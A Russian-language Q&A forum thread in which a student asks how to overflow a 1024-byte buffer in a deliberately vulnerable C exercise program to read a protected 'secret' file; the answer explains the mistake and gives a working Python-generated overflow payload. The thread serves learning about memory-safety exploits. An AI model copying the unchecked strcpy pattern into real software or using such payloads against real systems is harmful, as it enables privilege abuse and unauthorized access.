Эксплойт по переполнению буфера в C - PullRequest
0 голосов
/ 26 апреля 2019

Ниже приведен код из файла q2.c

Мне нужно использовать эксплойт памяти для чтения содержимого файла «secret», у которого нет разрешения на чтение для моей группы.

Iпопытался использовать ./q2 $(python -c 'print "\xad\xdd\xba"*1024 '), чтобы получить вывод из файла 'secret' (смотрите строку 28), но, вероятно, я допустил некоторую ошибку.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char **argv) 
{
// the struct is used to ensure the loc variables are in the same order
// without struct, compiler can swap these around making expolit impossible  
struct {
 char buffer[1024];
 volatile int changeme;
} locals;

locals.changeme = 0;

if (argc != 2) {
  printf("Usage: q2 <some string>\n");
  return 1;
}
// copy argument to the buffer
strcpy(locals.buffer, argv[1]);

// reveal the secret if "changeme" has been changed
if (locals.changeme == 0xbaddad) {
 setreuid(geteuid(),getegid());
 system("cat /home/q2/secret");
} 
else {
 printf("Try again!\n");
}
exit(0);
}

1 Ответ

0 голосов
/ 26 апреля 2019

Проблема возникает при передаче аргументов из команды:

$(python -c 'print "\xad\xdd\xba"*1024 ')

Здесь \xad\xdd\xba, на самом деле занимает 3 байта, поэтому он становится 3 * 1024 байта.Кроме того, 1024 не делится на 3, если бы буфер имел размер 1023, то он бы работал.

Так что вместо этой попытки:

$(python -c 'print "\xab" * 1024 + "\xad\xdd\xba"')

Он заполнит буфер \xab, затем для следующих трех байтов он заполнит целое число требуемым значением.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...